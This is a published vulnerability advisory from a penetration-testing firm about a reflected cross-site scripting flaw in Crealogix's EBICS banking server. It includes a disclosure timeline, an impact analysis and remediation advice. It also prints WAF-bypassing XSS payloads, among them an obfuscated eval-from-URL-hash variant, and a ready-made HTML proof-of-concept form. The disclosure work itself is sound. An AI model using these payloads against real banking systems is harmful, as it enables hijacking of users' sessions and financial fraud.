Reflected cross-site scripting vulnerability in Crealogix EBICS implementation

Pentagrid AG — 2022-10-10 10:00

During a penetration test of an Electronic Banking Internet Communication Standard (EBICS) environment, Pentagrid observed a vulnerability in the EBICS banking implementation developed by CREALOGIX AG and used by many banks. EBICS is a common standard in Germany, France and Switzerland for sending payment information from customers to banks and between banks.

Impact

This reflected Cross-Site Scripting (XSS) vulnerability has an unknown impact, as the different EBICS client software were not in scope of the analysis and the impact depends on EBICS server deployment details as well.

Cross-Site-Scripting allows an attacker to execute JavaScript in the attacked origin, allowing the attacker to act like the exploited user of the website.

The issues is assumed to have a low to medium impact in most common deployment scenarios as the used domain for EBICS in the observed deployments was a subdomain of the main domain. This subdomain is usually not further used in the web/browser context as a web application.

Additionally, the EBICS protocol does not rely on common browser security aspects:

- XML signatures are used for authentication instead of cookies.
- HTTP security headers (e.g. HSTS) are ignored in at least one tested EBICS client.

The EBICS client is usually not implemented as a website but as a standalone fat client software. The impact on EBICS client software would have to be analysed for each EBICS client individually. Moreover, it is unknown to Pentagrid if EBICS client software commonly support Inter Process Communication (IPC) mechanisms (e.g. URL handlers) that would allow an attacker to trigger the XSS in the EBICS client. Furthermore, the attacker would need to be able to use the XSS for exploitation in the EBICS client, which is again an individual aspect of each EBICS client.

Therefore, Pentagrid concludes there are several reasons why the impact might be elevated to a higher level by an attacker:

- If the deployment is not on a separte EBICS subdomain, the domain might be in use for other web applications and therefore that web application origin would be affected by the XSS.
- If the issue is combined with other vulnerabilities such as other web applications on other subdomains setting sensitive cookies on the parent domain without the httpOnly flag.
- If an EBICS client could be exploited with the XSS, e.g. via IPC mechanisms or if the EBICS client is implemented as a web application. With the move to more browser-based solutions for accounting, it is getting more likely that EBICS client support is built into accounting web applications acting as EBICS clients.

The exact impact would need to be investigated on a per EBICS server and EBICS client deployment basis.

Timeline

- 2022-08-12: Initial contact of CIO of Crealogix via E-mail.
- 2022-08-12: Crealogix replied that the EBICS software team was informed and additional organisational details were shared.
- 2022-08-15: Pentagrid communicates details of vulnerability. Crealogix replied that the analysis started.
- 2022-08-24: Pentagrid informs Crealogix of latest disclosure date 2022-11-21. Crealogix replies they are already working on a fix.
- 2022-09-28: Pentagrid requests status update. Crealogix replies the issue was fixed, a patched version released and installed for customers where Crealogix is responsible for operation. Pentagrid verifies fix and that it was deployed for one particular installation.
- 2022-10-06: Pentagrid asks for which versions were fixed and if an earlier release than the 90 days deadline is possible.
- 2022-10-07: Crealogix informs that a fix is available for version 7.1 and agrees to early release.
- 2022-10-10: Public release of advisory.

Affected Components

Affected of the XSS issue is the *ebics.aspx* server-side script of the CREALOGIX EBICS server solution, usually hosted on */ebics-server/ebics.aspx*.

Not affected are other software vendors such as those using server-sides usually hosted on */ebicsweb/ebicsweb*.

Technical Details

Several tested instances of EBICS servers were found to deploy a Web Application Firewall (WAF) blocking certain attack payloads. All the used payloads in this advisory are payloads that were able to bypass the encountered WAFs. If no WAF is present, even simpler payloads can be used.

The following EBICS request includes an invalid EBICS version that is a XSS payload executing the *print* command in JavaScript:

Source: EBICS HTTPS request to the vulnerable EBICS server with some customer details masked in the example

```
POST /ebics-server/ebics.aspx HTTP/1.1
Content-Type: text/xml; charset=UTF-8
Host: www.example.org
Content-Length: 585
Connection: close

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&lt;a autofocus onfocus=print(1)
href&gt;&lt;/a&gt;;">
    <header authenticate="true">
        <static>
            <HostID>XXX</HostID>
            <PartnerID>XXX</PartnerID>
            <UserID>XXX</UserID>
            <Product InstituteID="XXX" Language="de">XXX</Product>
            <OrderDetails>
                <OrderType>XXX</OrderType>
                <OrderAttribute>XXX</OrderAttribute>
            </OrderDetails>
            <SecurityMedium>0000</SecurityMedium>
        </static>
        <mutable/>
    </header>
    <body>
        <DataTransfer>
            <OrderData>XXX</OrderData>
        </DataTransfer>
    </body>
</ebicsUnsecuredRequest>
```

The server will respond with the following error message with a *Content-Type* of *text/html*, making it exploitable in browsers:

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Sat, 13 Aug 2022 13:12:03 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 309

System.Exception: Unknown ebicsVersion '<a autofocus onfocus=print(1) href></a>'.
   at EBICSServer.EbicsNamespaces.GetEbicsXmlns(String ebicsVersion)
   at EBICSServer.EbicResponse..ctor(String ebicsVersion, String orderType, String partnerId)
   at EBICSServer.Ebics.Page_Load(Object sender, EventArgs e)
```

To achieve arbitrary JavaScript code execution, the following payload can be used instead:

```
<ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&lt;a autofocus onfocus='a=&quot;
e&quot;;a+=&quot;val(decodeURIComponent(location.hash.slice(1)))&quot;;b=&quot;cons&quot;;b+=&quot;tructor&
quot;;true[b][b](a)()' href&gt;">
```

The server will respond with the following HTTP body:

```
 System.Exception: Unknown ebicsVersion '<a autofocus onfocus='a="e";
a+="val(decodeURIComponent(location.hash.slice(1)))";b="cons";b+="tructor";true[b][b](a)()' href>'.
at EBICSServer.EbicsNamespaces.GetEbicsXmlns(String ebicsVersion)
at EBICSServer.EbicResponse..ctor(String ebicsVersion, String orderType, String partnerId)
at EBICSServer.Ebics.Page_Load(Object sender, EventArgs e)
```

In this example the attacker's payload can be put in the URLs hash part and be used to load arbitrary JavaScript.

To exploit this issue in regular browsers, an attacker can host the following HTML on their website:

```
<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.example.org/ebics-server/ebics.aspx#alert(123)" method="POST"
enctype="text/plain">
      <input type="hidden" name="&lt;&#63;xml&#32;version" value="&quot;1&#46;0&quot;&#32;encoding&#61;&
quot;utf&#45;8&quot;&#32;standalone&#61;&quot;no&quot;&#63;&gt;&#13;&#10;&lt;ebicsUnsecuredRequest&#32;
xmlns&#61;&quot;urn&#58;org&#58;ebics&#58;H004&quot;&#32;Revision&#61;&quot;1&quot;&#32;Version&#61;&quot;&
amp;lt&#59;a&#32;autofocus&#32;onfocus&#61;&apos;a&#61;&amp;quot&#59;e&amp;quot&#59;&#59;a&#43;&#61;&amp;
quot&#59;val&#40;decodeURIComponent&#40;location&#46;hash&#46;slice&#40;1&#41;&#41;&#41;&amp;quot&#59;&#59;
b&#61;&amp;quot&#59;cons&amp;quot&#59;&#59;b&#43;&#61;&amp;quot&#59;tructor&amp;quot&#59;&#59;true&#91;
b&#93;&#91;b&#93;&#40;a&#41;&#40;&#41;&apos;&#32;href&amp;gt&#59;&quot;&gt;&lt;header&#32;
authenticate&#61;&quot;true&quot;&gt;&lt;static&gt;&lt;HostID&gt;XXX&lt;&#47;HostID&gt;&lt;PartnerID&gt;
XXX&lt;&#47;PartnerID&gt;&lt;UserID&gt;XXX&lt;&#47;UserID&gt;&lt;Product&#32;InstituteID&#61;&quot;XXX&
quot;&#32;Language&#61;&quot;de&quot;&gt;XXX&lt;&#47;Product&gt;&lt;OrderDetails&gt;&lt;OrderType&gt;XXX&
lt;&#47;OrderType&gt;&lt;OrderAttribute&gt;XXX&lt;&#47;OrderAttribute&gt;&lt;&#47;OrderDetails&gt;&lt;
SecurityMedium&gt;0000&lt;&#47;SecurityMedium&gt;&lt;&#47;static&gt;&lt;mutable&#47;&gt;&lt;&#47;header&
gt;&lt;body&gt;&lt;DataTransfer&gt;&lt;OrderData&gt;XXX&lt;&#47;OrderData&gt;&lt;&#47;DataTransfer&gt;&
lt;&#47;body&gt;&lt;&#47;ebicsUnsecuredRequest&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

If and how this could be exploited in EBICS clients was not analysed (see impact discussion).

Precondition

There are no special preconditions for exploitation except for the usual reflected XSS preconditions, mostly requiring user interaction. The preconditions vary greatly on the exploited scenario (see impact discussion).

Recommendation

Pentagrid recommends Crealogix to:

- Change the responded *Content-Type* to *text/plain*. If this is feasible has to be evaluated and tested with different EBICS clients.
- It is recommended to prevent the server from replying with detailed error messages that are not part of the EBICS standard.
- It is recommended to use the correct context escaping depending on the context. If *text/html* is used in the response, the user-supplied values could be HTML entity encoded.
- Further investigate if the EBICS server should be redesigned to support browser-based EBICS clients. This would require further security measures such as adding HTTP security headers (HSTS, CSP, etc.).

Pentagrid recommends affected customers to:

- Update to version 7.1 and/or apply patches that were provided by Crealogix.
- Check the version in the request in the WAF and reject invalid versions in the WAF already.
- Prevent error messages being returned from the EBICS server to the client side by using a WAF rule.

Credits

The vulnerability has been found by Tobias Ospelt (Pentagrid).

We would like to thank Crealogix for the professional handling of the security issue.

Advisory **Exploit**

Previous post

Contact:

Pentagrid AG
Bahnhofstrasse 7
CH-9470 Buchs SG

Switzerland

Pentagrid GmbH
Am Treptower Park 75
DE-12435 Berlin
Germany

Phone: +41 81 511 2556
E-mail: contact@pentagrid.ch
Follow us: